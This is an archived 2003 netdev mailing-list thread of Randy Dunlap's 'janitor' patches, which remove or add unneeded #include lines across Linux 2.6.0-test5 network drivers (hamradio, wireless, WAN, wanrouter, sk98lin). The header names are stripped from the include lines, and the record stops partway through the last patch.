apply to 2.6.0-test5-current. Thanks. -- ~Randy From: Randy Hron diff -Nur linux-2.6.0-test5-bk1/drivers/net/hamradio/baycom_par.c linux/drivers/net/hamradio/baycom_par.c linux-260-test5-kj-rddunlap/drivers/net/hamradio/baycom_par.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/hamradio/baycom_ser_fdx.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/hamradio/baycom_ser_hdx.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/hamradio/hdlcdrv.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/hamradio/yam.c | 1 - 5 files changed, 5 deletions(-) diff -puN drivers/net/hamradio/baycom_par.c~drivers_net_hamradio drivers/net/hamradio/baycom_par.c --- linux-260-test5-kj/drivers/net/hamradio/baycom_par.c~drivers_net_hamradio 2003-09-11 10:41:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/hamradio/baycom_par.c 2003-09-11 10:41:54.000000000 -0700 @@ -68,7 +68,6 @@ /*****************************************************************************/ -#include #include #include #include diff -puN drivers/net/hamradio/baycom_ser_fdx.c~drivers_net_hamradio drivers/net/hamradio/baycom_ser_fdx.c --- linux-260-test5-kj/drivers/net/hamradio/baycom_ser_fdx.c~drivers_net_hamradio 2003-09-11 10:41:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/hamradio/baycom_ser_fdx.c 2003-09-11 10:41:54.000000000 -0700 @@ -71,7 +71,6 @@ /*****************************************************************************/ -#include #include #include #include diff -puN drivers/net/hamradio/baycom_ser_hdx.c~drivers_net_hamradio drivers/net/hamradio/baycom_ser_hdx.c --- linux-260-test5-kj/drivers/net/hamradio/baycom_ser_hdx.c~drivers_net_hamradio 2003-09-11 10:41:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/hamradio/baycom_ser_hdx.c 2003-09-11 10:41:54.000000000 -0700 @@ -61,7 +61,6 @@ /*****************************************************************************/ -#include #include #include #include diff -puN drivers/net/hamradio/hdlcdrv.c~drivers_net_hamradio drivers/net/hamradio/hdlcdrv.c --- linux-260-test5-kj/drivers/net/hamradio/hdlcdrv.c~drivers_net_hamradio 2003-09-11 10:41:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/hamradio/hdlcdrv.c 2003-09-11 10:41:54.000000000 -0700 @@ -43,7 +43,6 @@ /*****************************************************************************/ #include -#include #include #include #include diff -puN drivers/net/hamradio/yam.c~drivers_net_hamradio drivers/net/hamradio/yam.c --- linux-260-test5-kj/drivers/net/hamradio/yam.c~drivers_net_hamradio 2003-09-11 10:41:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/hamradio/yam.c 2003-09-11 10:41:54.000000000 -0700 @@ -74,7 +74,6 @@ #include #include -#include #include #include _ From rddunlap@osdl.org Wed Sep 17 15:38:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:38:57 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMcbFx013334 for ; Wed, 17 Sep 2003 15:38:38 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMcVo07334; Wed, 17 Sep 2003 15:38:31 -0700 Date: Wed, 17 Sep 2003 15:17:38 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jt@hpl.hp.com, jgarzik@pobox.com Subject: [PATCH] janitor: remove (or add) unneeded includes (wireless) Message-Id: <20030917151738.76585759.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 26 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Randy Hron linux-260-test5-kj-rddunlap/drivers/net/wireless/airo.c | 2 -- linux-260-test5-kj-rddunlap/drivers/net/wireless/arlan-proc.c | 3 --- linux-260-test5-kj-rddunlap/drivers/net/wireless/arlan.c | 1 + linux-260-test5-kj-rddunlap/drivers/net/wireless/arlan.h | 1 - linux-260-test5-kj-rddunlap/drivers/net/wireless/strip.c | 1 - 5 files changed, 1 insertion(+), 7 deletions(-) diff -puN drivers/net/wireless/airo.c~version_wireless drivers/net/wireless/airo.c --- linux-260-test5-kj/drivers/net/wireless/airo.c~version_wireless 2003-09-10 17:09:51.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wireless/airo.c 2003-09-10 17:09:51.000000000 -0700 @@ -18,7 +18,6 @@ ======================================================================*/ #include -#include #include #include @@ -42,7 +41,6 @@ #include #include #include -#include #include #include diff -puN drivers/net/wireless/arlan.c~version_wireless drivers/net/wireless/arlan.c --- linux-260-test5-kj/drivers/net/wireless/arlan.c~version_wireless 2003-09-10 17:09:51.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wireless/arlan.c 2003-09-10 17:09:51.000000000 -0700 @@ -5,6 +5,7 @@ * This module provides support for the Arlan 655 card made by Aironet */ +#include #include #include "arlan.h" diff -puN drivers/net/wireless/arlan.h~version_wireless drivers/net/wireless/arlan.h --- linux-260-test5-kj/drivers/net/wireless/arlan.h~version_wireless 2003-09-10 17:09:51.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wireless/arlan.h 2003-09-10 17:09:51.000000000 -0700 @@ -3,7 +3,6 @@ * Copyright (C) 1998 Elmer.Joandi@ut.ee, +37-255-13500 * GNU General Public License applies */ -#include #include #include diff -puN drivers/net/wireless/arlan-proc.c~version_wireless drivers/net/wireless/arlan-proc.c --- linux-260-test5-kj/drivers/net/wireless/arlan-proc.c~version_wireless 2003-09-10 17:09:51.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wireless/arlan-proc.c 2003-09-10 17:09:51.000000000 -0700 @@ -5,9 +5,6 @@ #ifdef CONFIG_PROC_FS - -#include - /* void enableReceive(struct net_device* dev); */ diff -puN drivers/net/wireless/strip.c~version_wireless drivers/net/wireless/strip.c --- linux-260-test5-kj/drivers/net/wireless/strip.c~version_wireless 2003-09-10 17:09:51.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wireless/strip.c 2003-09-10 17:09:51.000000000 -0700 @@ -83,7 +83,6 @@ static const char StripVersion[] = "1.3A #include #include -#include #include #include #include _ From rddunlap@osdl.org Wed Sep 17 15:38:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:38:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMcaFx013332 for ; Wed, 17 Sep 2003 15:38:38 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMcTo07330; Wed, 17 Sep 2003 15:38:29 -0700 Date: Wed, 17 Sep 2003 15:13:18 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com, ncorbic@sangoma.com Subject: [PATCH] janitor: remove unneeded includes (wanrouter) Message-Id: <20030917151318.316bfd24.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 27 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. Thanks. -- ~Randy From: Randy Hron linux-260-test5-kj-rddunlap/net/wanrouter/af_wanpipe.c | 1 - linux-260-test5-kj-rddunlap/net/wanrouter/wanmain.c | 1 - 2 files changed, 2 deletions(-) diff -puN net/wanrouter/af_wanpipe.c~version_net_wanrouter net/wanrouter/af_wanpipe.c --- linux-260-test5-kj/net/wanrouter/af_wanpipe.c~version_net_wanrouter 2003-09-10 17:08:51.000000000 -0700 +++ linux-260-test5-kj-rddunlap/net/wanrouter/af_wanpipe.c 2003-09-10 17:08:51.000000000 -0700 @@ -32,7 +32,6 @@ * ******************************************************************************/ -#include #include #include #include diff -puN net/wanrouter/wanmain.c~version_net_wanrouter net/wanrouter/wanmain.c --- linux-260-test5-kj/net/wanrouter/wanmain.c~version_net_wanrouter 2003-09-10 17:08:51.000000000 -0700 +++ linux-260-test5-kj-rddunlap/net/wanrouter/wanmain.c 2003-09-10 17:08:51.000000000 -0700 @@ -42,7 +42,6 @@ * Jun 02, 1999 Gideon Hack Updates for Linux 2.0.X and 2.2.X kernels. *****************************************************************************/ -#include #include #include /* offsetof(), etc. */ #include /* return codes */ _ From rddunlap@osdl.org Wed Sep 17 15:38:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:38:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMcbFx013333 for ; Wed, 17 Sep 2003 15:38:38 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMcVo07338; Wed, 17 Sep 2003 15:38:31 -0700 Date: Wed, 17 Sep 2003 15:23:23 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] janitor: remove (or add) unneeded includes (drivers/net/wan) Message-Id: <20030917152323.3c77de29.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 30 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Randy Hron linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-comx.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-locomx.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-mixcom.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-munich.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/comx-proto-fr.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/comx-proto-lapb.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/comx-proto-ppp.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/comx.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/cycx_x25.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/dlci.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/dscc4.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/lmc/lmc_ver.h | 2 ++ linux-260-test5-kj-rddunlap/drivers/net/wan/pc300_drv.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/pc300_tty.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_chdlc.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_fr.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_ft1.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_ppp.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_x25.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/sdladrv.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/sdlamain.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/wan/wanpipe_multppp.c | 1 - 22 files changed, 2 insertions(+), 21 deletions(-) diff -puN drivers/net/wan/comx.c~drivers_net_wan drivers/net/wan/comx.c --- linux-260-test5-kj/drivers/net/wan/comx.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx.c 2003-09-11 10:40:53.000000000 -0700 @@ -55,7 +55,6 @@ #include #include -#include #include #include diff -puN drivers/net/wan/comx-hw-comx.c~drivers_net_wan drivers/net/wan/comx-hw-comx.c --- linux-260-test5-kj/drivers/net/wan/comx-hw-comx.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-comx.c 2003-09-11 10:40:53.000000000 -0700 @@ -51,7 +51,6 @@ #define VERSION "0.87" #include -#include #include #include #include diff -puN drivers/net/wan/comx-hw-locomx.c~drivers_net_wan drivers/net/wan/comx-hw-locomx.c --- linux-260-test5-kj/drivers/net/wan/comx-hw-locomx.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-locomx.c 2003-09-11 10:40:53.000000000 -0700 @@ -38,7 +38,6 @@ #include #include -#include #include #include #include diff -puN drivers/net/wan/comx-hw-mixcom.c~drivers_net_wan drivers/net/wan/comx-hw-mixcom.c --- linux-260-test5-kj/drivers/net/wan/comx-hw-mixcom.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-mixcom.c 2003-09-11 10:40:53.000000000 -0700 @@ -41,7 +41,6 @@ #include #include -#include #include #include #include diff -puN drivers/net/wan/comx-hw-munich.c~drivers_net_wan drivers/net/wan/comx-hw-munich.c --- linux-260-test5-kj/drivers/net/wan/comx-hw-munich.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx-hw-munich.c 2003-09-11 10:40:53.000000000 -0700 @@ -30,7 +30,6 @@ #include #include #include -#include #include #include #include diff -puN drivers/net/wan/comx-proto-fr.c~drivers_net_wan drivers/net/wan/comx-proto-fr.c --- linux-260-test5-kj/drivers/net/wan/comx-proto-fr.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx-proto-fr.c 2003-09-11 10:40:53.000000000 -0700 @@ -37,7 +37,6 @@ #define VERSION "0.73" #include -#include #include #include #include diff -puN drivers/net/wan/comx-proto-lapb.c~drivers_net_wan drivers/net/wan/comx-proto-lapb.c --- linux-260-test5-kj/drivers/net/wan/comx-proto-lapb.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx-proto-lapb.c 2003-09-11 10:40:53.000000000 -0700 @@ -24,7 +24,6 @@ #define VERSION "0.80" #include -#include #include #include #include diff -puN drivers/net/wan/comx-proto-ppp.c~drivers_net_wan drivers/net/wan/comx-proto-ppp.c --- linux-260-test5-kj/drivers/net/wan/comx-proto-ppp.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/comx-proto-ppp.c 2003-09-11 10:40:53.000000000 -0700 @@ -34,7 +34,6 @@ #define VERSION "0.23" #include -#include #include #include #include diff -puN drivers/net/wan/cycx_x25.c~drivers_net_wan drivers/net/wan/cycx_x25.c --- linux-260-test5-kj/drivers/net/wan/cycx_x25.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/cycx_x25.c 2003-09-11 10:40:53.000000000 -0700 @@ -78,7 +78,6 @@ #define CYCLOMX_X25_DEBUG 1 -#include #include /* return codes */ #include /* ARPHRD_HWX25 */ #include /* printk(), and other useful stuff */ diff -puN drivers/net/wan/dlci.c~drivers_net_wan drivers/net/wan/dlci.c --- linux-260-test5-kj/drivers/net/wan/dlci.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/dlci.c 2003-09-11 10:40:53.000000000 -0700 @@ -40,7 +40,6 @@ #include #include #include -#include #include #include #include diff -puN drivers/net/wan/dscc4.c~drivers_net_wan drivers/net/wan/dscc4.c --- linux-260-test5-kj/drivers/net/wan/dscc4.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/dscc4.c 2003-09-11 10:40:53.000000000 -0700 @@ -80,7 +80,6 @@ * - misc crapectomy. */ -#include #include #include #include diff -puN drivers/net/wan/lmc/lmc_ver.h~drivers_net_wan drivers/net/wan/lmc/lmc_ver.h --- linux-260-test5-kj/drivers/net/wan/lmc/lmc_ver.h~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/lmc/lmc_ver.h 2003-09-11 10:40:53.000000000 -0700 @@ -1,3 +1,5 @@ +#include + #ifndef _IF_LMC_LINUXVER_ #define _IF_LMC_LINUXVER_ diff -puN drivers/net/wan/pc300_drv.c~drivers_net_wan drivers/net/wan/pc300_drv.c --- linux-260-test5-kj/drivers/net/wan/pc300_drv.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/pc300_drv.c 2003-09-11 10:40:53.000000000 -0700 @@ -227,7 +227,6 @@ static char rcsid[] = #include #include #include -#include #include #include diff -puN drivers/net/wan/pc300_tty.c~drivers_net_wan drivers/net/wan/pc300_tty.c --- linux-260-test5-kj/drivers/net/wan/pc300_tty.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/pc300_tty.c 2003-09-11 10:40:53.000000000 -0700 @@ -37,7 +37,6 @@ */ #include -#include #include #include #include diff -puN drivers/net/wan/sdla_chdlc.c~drivers_net_wan drivers/net/wan/sdla_chdlc.c --- linux-260-test5-kj/drivers/net/wan/sdla_chdlc.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_chdlc.c 2003-09-11 10:40:53.000000000 -0700 @@ -49,7 +49,6 @@ *****************************************************************************/ #include -#include #include /* printk(), and other useful stuff */ #include /* offsetof(), etc. */ #include /* return codes */ diff -puN drivers/net/wan/sdladrv.c~drivers_net_wan drivers/net/wan/sdladrv.c --- linux-260-test5-kj/drivers/net/wan/sdladrv.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/sdladrv.c 2003-09-11 10:40:53.000000000 -0700 @@ -91,7 +91,6 @@ #if defined(_LINUX_) /****** Linux *******************************/ #include -#include #include /* printk(), and other useful stuff */ #include /* offsetof(), etc. */ #include /* return codes */ diff -puN drivers/net/wan/sdla_fr.c~drivers_net_wan drivers/net/wan/sdla_fr.c --- linux-260-test5-kj/drivers/net/wan/sdla_fr.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_fr.c 2003-09-11 10:40:53.000000000 -0700 @@ -139,7 +139,6 @@ *****************************************************************************/ #include -#include #include /* printk(), and other useful stuff */ #include /* offsetof(), etc. */ #include /* return codes */ diff -puN drivers/net/wan/sdla_ft1.c~drivers_net_wan drivers/net/wan/sdla_ft1.c --- linux-260-test5-kj/drivers/net/wan/sdla_ft1.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_ft1.c 2003-09-11 10:40:53.000000000 -0700 @@ -21,7 +21,6 @@ *****************************************************************************/ #include -#include #include /* printk(), and other useful stuff */ #include /* offsetof(), etc. */ #include /* return codes */ diff -puN drivers/net/wan/sdlamain.c~drivers_net_wan drivers/net/wan/sdlamain.c --- linux-260-test5-kj/drivers/net/wan/sdlamain.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/sdlamain.c 2003-09-11 10:40:53.000000000 -0700 @@ -46,7 +46,6 @@ * Jan 02, 1997 Gene Kozin Initial version. *****************************************************************************/ -#include #include /* OS configuration options */ #include /* offsetof(), etc. */ #include /* return codes */ diff -puN drivers/net/wan/sdla_ppp.c~drivers_net_wan drivers/net/wan/sdla_ppp.c --- linux-260-test5-kj/drivers/net/wan/sdla_ppp.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_ppp.c 2003-09-11 10:40:53.000000000 -0700 @@ -91,7 +91,6 @@ *****************************************************************************/ #include -#include #include /* printk(), and other useful stuff */ #include /* offsetof(), etc. */ #include /* return codes */ diff -puN drivers/net/wan/sdla_x25.c~drivers_net_wan drivers/net/wan/sdla_x25.c --- linux-260-test5-kj/drivers/net/wan/sdla_x25.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/sdla_x25.c 2003-09-11 10:40:53.000000000 -0700 @@ -82,7 +82,6 @@ *=====================================================*/ #include -#include #include /* printk(), and other useful stuff */ #include /* offsetof(), etc. */ #include /* return codes */ diff -puN drivers/net/wan/wanpipe_multppp.c~drivers_net_wan drivers/net/wan/wanpipe_multppp.c --- linux-260-test5-kj/drivers/net/wan/wanpipe_multppp.c~drivers_net_wan 2003-09-11 10:40:53.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/wan/wanpipe_multppp.c 2003-09-11 10:40:53.000000000 -0700 @@ -18,7 +18,6 @@ *****************************************************************************/ #include -#include #include /* printk(), and other useful stuff */ #include /* offsetof(), etc. */ #include /* return codes */ _ From rddunlap@osdl.org Wed Sep 17 15:38:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:38:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMcZFx013331 for ; Wed, 17 Sep 2003 15:38:37 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMcTo07326; Wed, 17 Sep 2003 15:38:29 -0700 Date: Wed, 17 Sep 2003 15:10:26 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] janitor: remove (or add) unneeded includes (drivers/net/) Message-Id: <20030917151026.54292548.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 29 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. Thanks. -- ~Randy From: Randy Hron linux-260-test5-kj-rddunlap/drivers/net/3c515.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/cs89x0.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/ibmlana.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/mace.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/ne2.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/ni65.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/rrunner.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/sb1000.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/sis900.c | 1 - linux-260-test5-kj-rddunlap/drivers/net/sk_mca.h | 2 ++ linux-260-test5-kj-rddunlap/drivers/net/smc9194.c | 1 - 11 files changed, 2 insertions(+), 10 deletions(-) diff -puN drivers/net/3c515.c~version_net drivers/net/3c515.c --- linux-260-test5-kj/drivers/net/3c515.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/3c515.c 2003-09-10 17:08:11.000000000 -0700 @@ -59,7 +59,6 @@ static int max_interrupt_work = 20; #include #include -#include #include #include #include diff -puN drivers/net/cs89x0.c~version_net drivers/net/cs89x0.c --- linux-260-test5-kj/drivers/net/cs89x0.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/cs89x0.c 2003-09-10 17:08:11.000000000 -0700 @@ -90,7 +90,6 @@ or override something. */ #include #include -#include /* * Set this to zero to disable DMA code diff -puN drivers/net/ibmlana.c~version_net drivers/net/ibmlana.c --- linux-260-test5-kj/drivers/net/ibmlana.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/ibmlana.c 2003-09-10 17:08:11.000000000 -0700 @@ -74,7 +74,6 @@ History: *************************************************************************/ -#include #include #include #include diff -puN drivers/net/mace.c~version_net drivers/net/mace.c --- linux-260-test5-kj/drivers/net/mace.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/mace.c 2003-09-10 17:08:11.000000000 -0700 @@ -7,7 +7,6 @@ #include #include -#include #include #include #include diff -puN drivers/net/ne2.c~version_net drivers/net/ne2.c --- linux-260-test5-kj/drivers/net/ne2.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/ne2.c 2003-09-10 17:08:11.000000000 -0700 @@ -60,7 +60,6 @@ static const char *version = "ne2.c:v0.91 Nov 16 1998 Wim Dumon \n"; #include -#include #include #include #include diff -puN drivers/net/ni65.c~version_net drivers/net/ni65.c --- linux-260-test5-kj/drivers/net/ni65.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/ni65.c 2003-09-10 17:08:11.000000000 -0700 @@ -72,7 +72,6 @@ #include #include #include -#include #include #include diff -puN drivers/net/rrunner.c~version_net drivers/net/rrunner.c --- linux-260-test5-kj/drivers/net/rrunner.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/rrunner.c 2003-09-10 17:08:11.000000000 -0700 @@ -30,7 +30,6 @@ #include #include -#include #include #include #include diff -puN drivers/net/sb1000.c~version_net drivers/net/sb1000.c --- linux-260-test5-kj/drivers/net/sb1000.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/sb1000.c 2003-09-10 17:08:11.000000000 -0700 @@ -35,7 +35,6 @@ static char version[] = "sb1000.c:v1.1.2 6/01/98 (fventuri@mediaone.net)\n"; #include -#include #include #include #include diff -puN drivers/net/sis900.c~version_net drivers/net/sis900.c --- linux-260-test5-kj/drivers/net/sis900.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/sis900.c 2003-09-10 17:08:11.000000000 -0700 @@ -47,7 +47,6 @@ */ #include -#include #include #include #include diff -puN drivers/net/sk_mca.h~version_net drivers/net/sk_mca.h --- linux-260-test5-kj/drivers/net/sk_mca.h~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/sk_mca.h 2003-09-10 17:08:11.000000000 -0700 @@ -1,3 +1,5 @@ +#include + #ifndef _SK_MCA_INCLUDE_ #define _SK_MCA_INCLUDE_ diff -puN drivers/net/smc9194.c~version_net drivers/net/smc9194.c --- linux-260-test5-kj/drivers/net/smc9194.c~version_net 2003-09-10 17:08:11.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/smc9194.c 2003-09-10 17:08:11.000000000 -0700 @@ -58,7 +58,6 @@ static const char version[] = "smc9194.c:v0.14 12/15/00 by Erik Stahlman (erik@vt.edu)\n"; #include -#include #include #include #include _ From rddunlap@osdl.org Wed Sep 17 15:40:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:40:47 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMecFx014881 for ; Wed, 17 Sep 2003 15:40:39 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMeWo07862; Wed, 17 Sep 2003 15:40:32 -0700 Date: Wed, 17 Sep 2003 15:30:03 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] janitor: remove unneeded includes (sk98lin) Message-Id: <20030917153003.5b5ecae5.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 32 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. -- ~Randy From: Randy Hron linux-260-test5-kj-rddunlap/drivers/net/sk98lin/h/skdrv1st.h | 4 ---- 